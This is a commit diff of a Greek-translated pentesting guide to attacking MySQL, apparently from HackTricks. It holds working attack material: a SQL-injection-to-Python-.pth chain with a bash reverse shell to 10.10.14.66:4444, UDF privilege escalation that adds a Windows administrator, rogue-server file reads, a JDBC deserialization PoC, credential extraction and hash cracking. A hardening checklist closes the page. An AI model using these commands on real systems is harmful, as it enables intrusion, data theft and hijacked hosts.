Translated ['', 'src/pentesting-web/content-security-policy-csp-bypass/R

This commit is contained in:
Translator 2025-09-03 19:13:13 +00:00
parent 465bfcb1b7
commit e216252d96
6 changed files with 599 additions and 536 deletions

View File

@ -4,7 +4,7 @@
## **Βασικές Πληροφορίες**
**MySQL** μπορεί να περιγραφεί ως ένα ανοιχτού κώδικα **Σύστημα Διαχείρισης Σχεσιακών Βάσεων Δεδομένων (RDBMS)** που είναι διαθέσιμο χωρίς κόστος. Λειτουργεί με τη **Γλώσσα Δομημένων Ερωτημάτων (SQL)**, επιτρέποντας τη διαχείριση και την επεξεργασία βάσεων δεδομένων.
**MySQL** μπορεί να περιγραφεί ως ανοιχτού κώδικα **Relational Database Management System (RDBMS)** που είναι διαθέσιμο χωρίς κόστος. Λειτουργεί με τη **Structured Query Language (SQL)**, επιτρέποντας τη διαχείριση και τον χειρισμό βάσεων δεδομένων.
**Προεπιλεγμένη θύρα:** 3306
```
@ -12,7 +12,7 @@
```
## **Σύνδεση**
### **Τοπικά**
### **Τοπική**
```bash
mysql -u root # Connect to root without password
mysql -u root -p # A password will be asked (check someone)
@ -22,9 +22,9 @@ mysql -u root -p # A password will be asked (check someone)
mysql -h <Hostname> -u root
mysql -h <Hostname> -u root@localhost
```
## Εξωτερική Αρίθμηση
## Εξωτερική Enumeration
Ορισμένες από τις ενέργειες αρίθμησης απαιτούν έγκυρα διαπιστευτήρια
Μερικές από τις ενέργειες enumeration απαιτούν έγκυρα διαπιστευτήρια
```bash
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
msf> use auxiliary/scanner/mysql/mysql_version
@ -41,7 +41,7 @@ msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)
```
## **Εντολές MySQL**
## **MySQL εντολές**
```bash
show databases;
use <database>;
@ -78,7 +78,7 @@ quit;
mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
mysql -u root -h 127.0.0.1 -e 'show databases;'
```
### Απαρίθμηση Δικαιωμάτων MySQL
### MySQL Απαρίθμηση Δικαιωμάτων
```sql
#Mysql
SHOW GRANTS [FOR user];
@ -101,7 +101,7 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
#@ Functions not from sys. db
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';
```
Μπορείτε να δείτε στα έγγραφα τη σημασία κάθε προνομίου: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute)
Μπορείτε να δείτε στα docs τη σημασία κάθε privilege: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute)
### MySQL File RCE
@ -110,60 +110,57 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md
{{#endref}}
#### INTO OUTFILE → Python `.pth` RCE (ειδικές ρυθμίσεις ιστότοπου)
#### INTO OUTFILE → Python `.pth` RCE (site-specific configuration hooks)
Καταχρώντας την κλασική πρωτοβουλία `INTO OUTFILE`, είναι δυνατόν να αποκτηθεί *εκτέλεση αυθαίρετου κώδικα* σε στόχους που εκτελούν αργότερα **Python** σενάρια.
Καταχρώμενοι το κλασικό `INTO OUTFILE` primitive, είναι δυνατό να επιτευχθεί *εκτέλεση αυθαίρετου κώδικα* σε στόχους που στη συνέχεια τρέχουν **Python** scripts.
1. Χρησιμοποιήστε `INTO OUTFILE` για να ρίξετε ένα προσαρμοσμένο **`.pth`** αρχείο μέσα σε οποιονδήποτε φάκελο φορτώνεται αυτόματα από το `site.py` (π.χ. `.../lib/python3.10/site-packages/`).
2. Το αρχείο `.pth` μπορεί να περιέχει μια *μοναδική γραμμή* που ξεκινά με `import ` ακολουθούμενη από αυθαίρετο Python κώδικα που θα εκτελείται κάθε φορά που ξεκινά ο διερμηνέας.
3. Όταν ο διερμηνέας εκτελείται έμμεσα από ένα CGI σενάριο (για παράδειγμα `/cgi-bin/ml-draw.py` με shebang `#!/bin/python`), το payload εκτελείται με τα ίδια προνόμια όπως η διαδικασία του web-server (FortiWeb το εκτέλεσε ως **root** → πλήρης προ-auth RCE).
1. Χρησιμοποιήστε `INTO OUTFILE` για να αποθέσετε ένα προσαρμοσμένο **`.pth`** αρχείο μέσα σε οποιοδήποτε directory που φορτώνεται αυτόματα από `site.py` (π.χ. `.../lib/python3.10/site-packages/`).
2. Το `.pth` αρχείο μπορεί να περιέχει *μία μόνο γραμμή* που ξεκινάει με `import ` ακολουθούμενη από αυθαίρετο Python κώδικα, ο οποίος θα εκτελείται κάθε φορά που ξεκινά ο interpreter.
3. Όταν ο interpreter εκτελείται έμμεσα από ένα CGI script (για παράδειγμα `/cgi-bin/ml-draw.py` με shebang `#!/bin/python`), το payload εκτελείται με τα ίδια προνόμια με τη διεργασία του web-server (FortiWeb το έτρεξε ως **root** → full pre-auth RCE).
Παράδειγμα payload `.pth` (μοναδική γραμμή, δεν μπορούν να περιληφθούν κενά στο τελικό SQL payload, οπότε μπορεί να απαιτείται hex/`UNHEX()` ή συγχώνευση συμβολοσειρών):
Example `.pth` payload (single line, no spaces can be included in the final SQL payload, so hex/`UNHEX()` or string concatenation may be required):
```python
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
```
Παράδειγμα δημιουργίας του αρχείου μέσω ενός **UNION** ερωτήματος (οι χαρακτήρες κενών αντικαθίστανται με `/**/` για να παρακαμφθεί ένα φίλτρο χώρου `sscanf("%128s")` και να διατηρηθεί το συνολικό μήκος ≤128 bytes):
Παράδειγμα κατασκευής του αρχείου μέσω ενός ερωτήματος **UNION** (οι χαρακτήρες διαστήματος αντικαθίστανται με `/**/` για να παρακαμφθεί ένα φίλτρο διαστήματος `sscanf("%128s")` και να διατηρηθεί το συνολικό μήκος ≤128 bytes):
```sql
'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'
```
Σημαντικοί περιορισμοί & παρακάμψεις:
* `INTO OUTFILE` **δεν μπορεί να αντικαταστήσει** υπάρχοντα αρχεία; επιλέξτε ένα νέο όνομα αρχείου.
* Η διαδρομή του αρχείου επιλύεται **σχετικά με το CWD του MySQL**, οπότε η προσθήκη `../../` βοηθά στη συντόμευση της διαδρομής και στην παράκαμψη περιορισμών απόλυτης διαδρομής.
* Εάν η είσοδος του επιτιθέμενου εξάγεται με `%128s` (ή παρόμοιο), οποιοσδήποτε χώρος θα κόψει το payload; χρησιμοποιήστε τις ακολουθίες σχολίων MySQL `/**/` ή `/*!*/` για να αντικαταστήσετε τους χώρους.
* Ο χρήστης MySQL που εκτελεί το ερώτημα χρειάζεται το δικαίωμα `FILE`, αλλά σε πολλές συσκευές (π.χ. FortiWeb) η υπηρεσία εκτελείται ως **root**, δίνοντας δικαίωμα εγγραφής σχεδόν παντού.
* Το μονοπάτι αρχείου επιλύεται **relative to MySQLs CWD**, οπότε το προθέμα `../../` βοηθά να συντομευτεί το μονοπάτι και να παρακαμφθούν οι περιορισμοί απόλυτης διαδρομής.
* Αν η είσοδος του attacker εξάγεται με `%128s` (ή παρόμοιο), οποιοδήποτε κενό θα αποκόψει το payload; χρησιμοποιήστε τις ακολουθίες σχολίων MySQL `/**/` ή `/*!*/` για να αντικαταστήσετε τα κενά.
* Ο χρήστης MySQL που εκτελεί το query χρειάζεται το προνόμιο `FILE`, αλλά σε πολλές συσκευές (π.χ. FortiWeb) η υπηρεσία τρέχει ως **root**, δίνοντας δικαίωμα εγγραφής σχεδόν παντού.
Αφού ρίξετε το `.pth`, απλά ζητήστε οποιοδήποτε CGI διαχειρίζεται ο διερμηνέας python για να αποκτήσετε εκτέλεση κώδικα:
After dropping the `.pth`, simply request any CGI handled by the python interpreter to get code execution:
```
GET /cgi-bin/ml-draw.py HTTP/1.1
Host: <target>
```
Η διαδικασία Python θα εισάγει αυτόματα το κακόβουλο `.pth` και θα εκτελέσει το shell payload.
Η διεργασία Python θα import αυτόματα το κακόβουλο `.pth` και θα εκτελέσει το shell payload.
```
# Attacker
$ nc -lvnp 4444
id
uid=0(root) gid=0(root) groups=0(root)
```
---
## MySQL αυθαίρετη ανάγνωση αρχείου από τον client
## MySQL αυθαίρετη ανάγνωση αρχείου από πελάτη
Στην πραγματικότητα, όταν προσπαθείτε να **φορτώσετε δεδομένα τοπικά σε έναν πίνακα** το **περιεχόμενο ενός αρχείου** ο διακομιστής MySQL ή MariaDB ζητά από τον **πελάτη να το διαβάσει** και να στείλει το περιεχόμενο. **Έτσι, αν μπορείτε να παραποιήσετε έναν πελάτη mysql για να συνδεθείτε στον δικό σας διακομιστή MySQL, μπορείτε να διαβάσετε αυθαίρετα αρχεία.**\
Παρακαλώ σημειώστε ότι αυτή είναι η συμπεριφορά που χρησιμοποιείται:
Στην πραγματικότητα, όταν προσπαθείς να **load data local into a table** το **content of a file**, ο διακομιστής MySQL ή MariaDB ζητάει από τον **client to read it** και να στείλει το περιεχόμενο. **Τότε, αν μπορείς να tamper a mysql client to connect to your own MySQL server, μπορείς να διαβάσεις αυθαίρετα αρχεία.**\
Σημείωσε ότι αυτή είναι η συμπεριφορά όταν χρησιμοποιείται:
```bash
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
```
(Προσοχή στη λέξη "local")\
Επειδή χωρίς το "local" μπορείς να πάρεις:
(Σημειώστε τη λέξη "local")\ Επειδή χωρίς τη "local" μπορείτε να λάβετε:
```bash
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
```
**Αρχικό PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
**Σε αυτό το έγγραφο μπορείτε να δείτε μια πλήρη περιγραφή της επίθεσης και ακόμη και πώς να την επεκτείνετε σε RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
**Εδώ μπορείτε να βρείτε μια επισκόπηση της επίθεσης:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
**Σε αυτό το έγγραφο μπορείτε να δείτε μια πλήρη περιγραφή της επίθεσης και ακόμη πώς να την επεκτείνετε σε RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
**Εδώ θα βρείτε μια επισκόπηση της επίθεσης:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
@ -171,25 +168,25 @@ ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv opti
## POST
### Χρήστης Mysql
### Mysql Χρήστης
Θα είναι πολύ ενδιαφέρον αν το mysql εκτελείται ως **root**:
Θα είναι πολύ ενδιαφέρον αν το mysql τρέχει ως **root**:
```bash
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
```
#### Επικίνδυνες Ρυθμίσεις του mysqld.cnf
Στη διαμόρφωση των υπηρεσιών MySQL, διάφορες ρυθμίσεις χρησιμοποιούνται για να καθορίσουν τη λειτουργία και τα μέτρα ασφαλείας της:
Στην ρύθμιση των υπηρεσιών MySQL, χρησιμοποιούνται διάφορες ρυθμίσεις για τον ορισμό της λειτουργίας και των μέτρων ασφαλείας της:
- Η **`user`** ρύθμιση χρησιμοποιείται για τον καθορισμό του χρήστη υπό τον οποίο θα εκτελείται η υπηρεσία MySQL.
- Η **`password`** εφαρμόζεται για την καθορισμένη του κωδικού πρόσβασης που σχετίζεται με τον χρήστη MySQL.
- Η **`admin_address`** προσδιορίζει τη διεύθυνση IP που ακούει για TCP/IP συνδέσεις στη διαχειριστική διεπαφή δικτύου.
- Η **`debug`** μεταβλητή υποδεικνύει τις τρέχουσες ρυθμίσεις αποσφαλμάτωσης, συμπεριλαμβανομένων ευαίσθητων πληροφοριών μέσα στα αρχεία καταγραφής.
- Η **`sql_warnings`** διαχειρίζεται εάν παράγονται πληροφοριακές συμβολοσειρές για δηλώσεις INSERT μίας γραμμής όταν προκύπτουν προειδοποιήσεις, περιέχοντας ευαίσθητα δεδομένα μέσα στα αρχεία καταγραφής.
- Με την **`secure_file_priv`**, το πεδίο των λειτουργιών εισαγωγής και εξαγωγής δεδομένων περιορίζεται για την ενίσχυση της ασφάλειας.
- Η ρύθμιση **`user`** χρησιμοποιείται για τον καθορισμό του χρήστη υπό τον οποίο θα εκτελείται η υπηρεσία MySQL.
- Η ρύθμιση **`password`** χρησιμοποιείται για τον καθορισμό του κωδικού πρόσβασης του χρήστη MySQL.
- Η **`admin_address`** καθορίζει τη διεύθυνση IP που ακούει για TCP/IP συνδέσεις στη διαχειριστική δικτυακή διεπαφή.
- Η μεταβλητή **`debug`** υποδηλώνει τις τρέχουσες ρυθμίσεις αποσφαλμάτωσης, συμπεριλαμβάνοντας ευαίσθητες πληροφορίες στα logs.
- Η **`sql_warnings`** ρυθμίζει εάν παράγονται πληροφοριακές συμβολοσειρές για εντολές INSERT μίας γραμμής όταν προκύπτουν warnings, που μπορεί να περιέχουν ευαίσθητα δεδομένα στα logs.
- Με την **`secure_file_priv`**, το εύρος των λειτουργιών εισαγωγής και εξαγωγής δεδομένων περιορίζεται για την αύξηση της ασφάλειας.
### Ανάβαση προνομίων
### Privilege escalation
```bash
# Get current user (an all users) privileges and hashes
use mysql;
@ -209,16 +206,16 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
```
### Privilege Escalation via library
If the **mysql server is running as root** (or a different more privileged user) you can make it execute commands. For that, you need to use **user defined functions**. And to create a user defined you will need a **library** for the OS that is running mysql.
Εάν ο **mysql server is running as root** (ή ένας άλλος χρήστης με περισσότερα προνόμια) μπορείς να τον κάνεις να εκτελεί εντολές. Για αυτό χρειάζεται να χρησιμοποιήσεις **user defined functions**. Και για να δημιουργήσεις μια user defined θα χρειαστείς μια **βιβλιοθήκη** για το OS που τρέχει το mysql.
The malicious library to use can be found inside sqlmap and inside metasploit by doing **`locate "*lib_mysqludf_sys*"`**. The **`.so`** files are **linux** libraries and the **`.dll`** are the **Windows** ones, choose the one you need.
Η κακόβουλη βιβλιοθήκη που θα χρησιμοποιήσεις μπορεί να βρεθεί μέσα στο sqlmap και μέσα στο metasploit τρέχοντας **`locate "*lib_mysqludf_sys*"`**. Τα αρχεία **`.so`** είναι βιβλιοθήκες **linux** και τα **`.dll`** είναι των **Windows**, διάλεξε αυτό που χρειάζεσαι.
If you **don't have** those libraries, you can either **look for them**, or download this [**linux C code**](https://www.exploit-db.com/exploits/1518) and **compile it inside the linux vulnerable machine**:
Αν **δεν έχεις** αυτές τις βιβλιοθήκες, μπορείς είτε να τις **αναζητήσεις**, είτε να κατεβάσεις αυτό το [**linux C code**](https://www.exploit-db.com/exploits/1518) και να το **μεταγλωττίσεις μέσα στην linux ευάλωτη μηχανή**:
```bash
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
```
Τώρα που έχετε τη βιβλιοθήκη, συνδεθείτε στο Mysql ως προνομιούχος χρήστης (root;) και ακολουθήστε τα επόμενα βήματα:
Τώρα που έχεις τη βιβλιοθήκη, κάνε login στο Mysql ως privileged user (root?) και ακολούθησε τα επόμενα βήματα:
#### Linux
```sql
@ -252,29 +249,38 @@ CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");
```
#### Συμβουλή για Windows: δημιουργία καταλόγων με NTFS ADS από SQL
Σε NTFS μπορείτε να εξαναγκάσετε τη δημιουργία καταλόγων χρησιμοποιώντας ένα alternate data stream ακόμα κι όταν υπάρχει μόνο file write primitive. Αν η κλασική UDF chain περιμένει έναν κατάλογο `plugin` αλλά δεν υπάρχει και το `@@plugin_dir` είναι άγνωστο ή κλειδωμένο, μπορείτε να τον δημιουργήσετε πρώτα με `::$INDEX_ALLOCATION`:
```sql
SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
-- After this, `C:\\MySQL\\lib\\plugin` exists as a directory
```
Αυτό μετατρέπει το περιορισμένο `SELECT ... INTO OUTFILE` σε ένα πιο πλήρες primitive σε Windows stacks, μέσω bootstrapping της δομής φακέλων που απαιτείται για UDF drops.
### Εξαγωγή διαπιστευτηρίων MySQL από αρχεία
Μέσα στο _/etc/mysql/debian.cnf_ μπορείτε να βρείτε τον **κωδικό πρόσβασης σε απλό κείμενο** του χρήστη **debian-sys-maint**
```bash
cat /etc/mysql/debian.cnf
```
Μπορείτε **να χρησιμοποιήσετε αυτά τα διαπιστευτήρια για να συνδεθείτε στη βάση δεδομένων mysql**.
Μπορείτε να **χρησιμοποιήσετε αυτά τα credentials για να συνδεθείτε στη βάση δεδομένων mysql**.
Μέσα στο αρχείο: _/var/lib/mysql/mysql/user.MYD_ μπορείτε να βρείτε **όλους τους κατακερματισμούς των χρηστών MySQL** (αυτούς που μπορείτε να εξάγετε από mysql.user μέσα στη βάση δεδομένων)_._
Μέσα στο αρχείο: _/var/lib/mysql/mysql/user.MYD_ μπορείτε να βρείτε **όλα τα hashes των MySQL χρηστών** (αυτά που μπορείτε να εξαγάγετε από mysql.user μέσα στη βάση δεδομένων)_._
Μπορείτε να τους εξάγετε κάνοντας:
Μπορείτε να τα εξαγάγετε κάνοντας:
```bash
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
```
### Ενεργοποίηση καταγραφής
Μπορείτε να ενεργοποιήσετε την καταγραφή των ερωτημάτων mysql μέσα στο `/etc/mysql/my.cnf` αποσχολώντας τις παρακάτω γραμμές:
Μπορείτε να ενεργοποιήσετε την καταγραφή των mysql queries μέσα στο `/etc/mysql/my.cnf` αποσχολιάζοντας τις παρακάτω γραμμές:
![](<../images/image (899).png>)
### Χρήσιμα αρχεία
Αρχεία Ρυθμίσεων
Αρχεία ρυθμίσεων
- windows \*
- config.ini
@ -289,9 +295,9 @@ grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_na
- /var/lib/mysql/my.cnf
- \~/.my.cnf
- /etc/my.cnf
- Ιστορικό Εντολών
- Ιστορικό εντολών
- \~/.mysql.history
- Αρχεία Καταγραφής
- Αρχεία καταγραφής
- connections.log
- update.log
- common.log
@ -647,36 +653,36 @@ Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
```
## 2023-2025 Highlights (new)
## 2023-2025 Επισημάνσεις (νέο)
### JDBC `propertiesTransform` deserialization (CVE-2023-21971)
Από το Connector/J <= 8.0.32, ένας επιτιθέμενος που μπορεί να επηρεάσει το **JDBC URL** (για παράδειγμα σε λογισμικό τρίτων που ζητάει μια συμβολοσειρά σύνδεσης) μπορεί να ζητήσει την φόρτωση αυθαίρετων κλάσεων στην πλευρά του *client* μέσω της παραμέτρου `propertiesTransform`. Εάν μια συσκευή που είναι παρούσα στο class-path είναι φορτίσιμη, αυτό έχει ως αποτέλεσμα **εκτέλεση απομακρυσμένου κώδικα στο πλαίσιο του JDBC client** (προ-auth, επειδή δεν απαιτούνται έγκυρα διαπιστευτήρια). Ένα ελάχιστο PoC φαίνεται ως εξής:
Από το Connector/J <= 8.0.32, ένας επιτιθέμενος που μπορεί να επηρεάσει το **JDBC URL** (π.χ. σε τρίτου μέρους λογισμικό που ζητάει ένα connection string) μπορεί να αιτηθεί τη φόρτωση αυθαίρετων κλάσεων στην πλευρά του *client* μέσω της παραμέτρου `propertiesTransform`. Αν ένα gadget που υπάρχει στο class-path είναι φορτώσιμο, αυτό έχει ως αποτέλεσμα **remote code execution in the context of the JDBC client** (pre-auth, επειδή δεν απαιτούνται valid credentials). Ένα minimal PoC φαίνεται ως εξής:
```java
jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil
```
Η εκτέλεση του `Evil.class` μπορεί να είναι τόσο εύκολη όσο η παραγωγή του στο class-path της ευάλωτης εφαρμογής ή η αφήγηση ενός κακόβουλου MySQL server να στείλει ένα κακόβουλο σειριακό αντικείμενο. Το ζήτημα διορθώθηκε στην Connector/J 8.0.33 αναβαθμίστε τον οδηγό ή ορίστε ρητά το `propertiesTransform` σε μια λίστα επιτρεπόμενων.
(Δείτε την αναφορά του Snyk για λεπτομέρειες)
Running `Evil.class` can be as easy as producing it on the class-path of the vulnerable application or letting a rogue MySQL server send a malicious serialized object. The issue was fixed in Connector/J 8.0.33 upgrade the driver or explicitly set `propertiesTransform` on an allow-list.
(See Snyk write-up for details)
### Επιθέσεις από κακόβουλους / ψεύτικους MySQL servers κατά των JDBC πελατών
Διάφορα εργαλεία ανοιχτού κώδικα υλοποιούν ένα *μερικό* πρωτόκολλο MySQL προκειμένου να επιτεθούν σε JDBC πελάτες που συνδέονται προς τα έξω:
### Rogue / Fake MySQL server attacks against JDBC clients
Πολλά εργαλεία ανοιχτού κώδικα υλοποιούν ένα *μερικό* MySQL πρωτόκολλο για να επιτεθούν σε JDBC clients που συνδέονται προς τα έξω:
* **mysql-fake-server** (Java, υποστηρίζει εκμεταλλεύσεις ανάγνωσης αρχείων και αποσειριοποίησης)
* **rogue_mysql_server** (Python, παρόμοιες δυνατότητες)
* **mysql-fake-server** (Java, supports file read and deserialization exploits)
* **rogue_mysql_server** (Python, similar capabilities)
Τυπικές διαδρομές επίθεσης:
Τυπικά μονοπάτια επίθεσης:
1. Η εφαρμογή-θύμα φορτώνει το `mysql-connector-j` με `allowLoadLocalInfile=true` ή `autoDeserialize=true`.
2. Ο επιτιθέμενος ελέγχει την DNS / καταχώρηση host έτσι ώστε το όνομα του DB να επιλύεται σε μια μηχανή υπό τον έλεγχό του.
3. Ο κακόβουλος server απαντά με κατασκευασμένα πακέτα που ενεργοποιούν είτε την ανάγνωση αρχείων `LOCAL INFILE` είτε την αποσειριοποίηση Java → RCE.
1. Η εφαρμογή-θύμα φορτώνει `mysql-connector-j` με `allowLoadLocalInfile=true` ή `autoDeserialize=true`.
2. Ο επιτιθέμενος ελέγχει DNS / host entry έτσι ώστε το hostname της DB να επιλύεται σε μια μηχανή υπό τον έλεγχό του.
3. Ο κακόβουλος server απαντά με crafted packets που ενεργοποιούν είτε `LOCAL INFILE` arbitrary file read είτε Java deserialization → RCE.
Παράδειγμα one-liner για να ξεκινήσετε έναν ψεύτικο server (Java):
Παράδειγμα one-liner για εκκίνηση ενός fake server (Java):
```bash
java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server
```
Στη συνέχεια, κατευθύνετε την εφαρμογή-στόχο στο `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` και διαβάστε το `/etc/passwd` κωδικοποιώντας το όνομα αρχείου ως base64 στο πεδίο *username* (`fileread_/etc/passwd``base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`).
Στη συνέχεια κατευθύνετε την εφαρμογή-θύμα στο `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` και διαβάστε `/etc/passwd` κωδικοποιώντας το όνομα αρχείου σε base64 στο *username* πεδίο (`fileread_/etc/passwd``base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`).
### Σπάσιμο κατακερματισμών `caching_sha2_password`
MySQL ≥ 8.0 αποθηκεύει τους κατακερματισμούς κωδικών πρόσβασης ως **`$mysql-sha2$`** (SHA-256). Και το Hashcat (λειτουργία **21100**) και το John-the-Ripper (`--format=mysql-sha2`) υποστηρίζουν εκτός σύνδεσης σπάσιμο από το 2023. Εξάγετε τη στήλη `authentication_string` και τροφοδοτήστε την απευθείας:
### Cracking `caching_sha2_password` hashes
MySQL ≥ 8.0 αποθηκεύει τα password hashes ως **`$mysql-sha2$`** (SHA-256). Και οι Hashcat (mode **21100**) και John-the-Ripper (`--format=mysql-sha2`) υποστηρίζουν offline cracking από το 2023. Εξάγετε τη στήλη `authentication_string` και τροφοδοτήστε την απευθείας:
```bash
# extract hashes
echo "$mysql-sha2$AABBCC…" > hashes.txt
@ -686,19 +692,22 @@ hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist
john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist
```
### Λίστα ελέγχου σκληροποίησης (2025)
Ρυθμίστε **`LOCAL_INFILE=0`** και **`--secure-file-priv=/var/empty`** για να καταργήσετε τις περισσότερες πρωτογενείς λειτουργίες ανάγνωσης/εγγραφής αρχείων.
• Αφαιρέστε το δικαίωμα **`FILE`** από τους λογαριασμούς εφαρμογών.
• Στο Connector/J ρυθμίστε `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (κενό).
• Απενεργοποιήστε τα μη χρησιμοποιούμενα πρόσθετα πιστοποίησης και **απαιτήστε TLS** (`require_secure_transport = ON`).
• Παρακολουθήστε για δηλώσεις `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` και ξαφνικές δηλώσεις `SET GLOBAL`.
Ορίστε **`LOCAL_INFILE=0`** και **`--secure-file-priv=/var/empty`** για να απενεργοποιήσετε τις περισσότερες λειτουργίες ανάγνωσης/εγγραφής αρχείων.
• Αφαιρέστε το **`FILE`** privilege από λογαριασμούς εφαρμογών.
• Στον Connector/J ορίστε `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (κενό).
• Απενεργοποιήστε μη χρησιμοποιούμενα authentication plugins και **απαιτήστε TLS** (`require_secure_transport = ON`).
• Παρακολουθείτε για `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` και αιφνίδιες εντολές `SET GLOBAL`.
---
## Αναφορές
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
- [Oracle MySQL Connector/J propertiesTransform RCE CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540)
- [mysql-fake-server Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server)
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
- [Oracle MySQL Connector/J propertiesTransform RCE CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540)
- [mysql-fake-server Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server)
- [The Art of PHP: CTFborn exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,16 +1,16 @@
# PHP - RCE εκμετάλλευση δημιουργίας αντικειμένων: new $\_GET\["a"]\($\_GET\["b"])
# PHP - RCE εκμετάλλευση δημιουργίας αντικειμένου: new $_GET["a"]($_GET["b"])
{{#include ../../../banners/hacktricks-training.md}}
Αυτό είναι βασικά μια περίληψη του [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
Αυτό είναι βασικά μια σύνοψη του [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
## Εισαγωγή
Η δημιουργία νέων αυθαίρετων αντικειμένων, όπως το `new $_GET["a"]($_GET["a"])`, μπορεί να οδηγήσει σε Remote Code Execution (RCE), όπως αναφέρεται σε μια [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). Αυτό το έγγραφο επισημαίνει διάφορες στρατηγικές για την επίτευξη RCE.
